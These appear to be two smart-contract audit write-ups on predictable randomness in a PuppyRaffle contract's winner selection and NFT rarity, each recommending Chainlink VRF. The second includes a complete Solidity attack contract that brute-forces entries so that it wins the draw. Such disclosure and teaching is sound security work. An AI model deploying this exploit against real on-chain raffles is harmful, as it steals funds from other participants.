src/PuppyRaffle.sol
selectWinner derives randomness from msg.sender, block.timestamp, and block.difficulty.
Rarity is also derived from msg.sender and block.difficulty.
The raffle uses predictable and influenceable values as randomness. selectWinner is permissionless, so the caller is part of the random seed. An attacker can search for a caller address that produces a desired winnerIndex, then call selectWinner from that address when the known block values match the calculation.
Block producers have even stronger influence because they can affect timestamp and transaction ordering. This breaks the core raffle guarantee that winners and NFT rarity are fairly random.
The raffle outcome can be steered by a participant or transaction sender instead of being random. This lets an attacker unfairly capture the prize pool, mint the puppy NFT to a chosen winner, and potentially influence rare NFT traits.
High. A participant can bias or force the winner selection and capture the prize pool and puppy NFT unfairly. The same randomness weakness can also bias NFT rarity.
Medium. The attack depends on controlling or preparing the caller address and timing the draw, but the function is permissionless and all seed inputs are public or influenceable.
Added test: test/AuditFindings.t.sol
Run:
The test:
Four players enter the raffle.
The raffle duration passes.
The test searches for a caller address that makes winnerIndex == 0.
Calling selectWinner from that address makes playerOne the winner.
Use a verifiable randomness source such as Chainlink VRF. If a two-step flow is needed, separate the request and fulfillment phases so users cannot choose the final seed at draw time.
Do not include msg.sender, block.timestamp, or block.difficulty as the only entropy source for economically meaningful randomness.
Example mitigation pattern:
The important security property is that the final random value is provided by the VRF coordinator after the request, not chosen from caller-controlled or block-producer-influenceable inputs inside selectWinner.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
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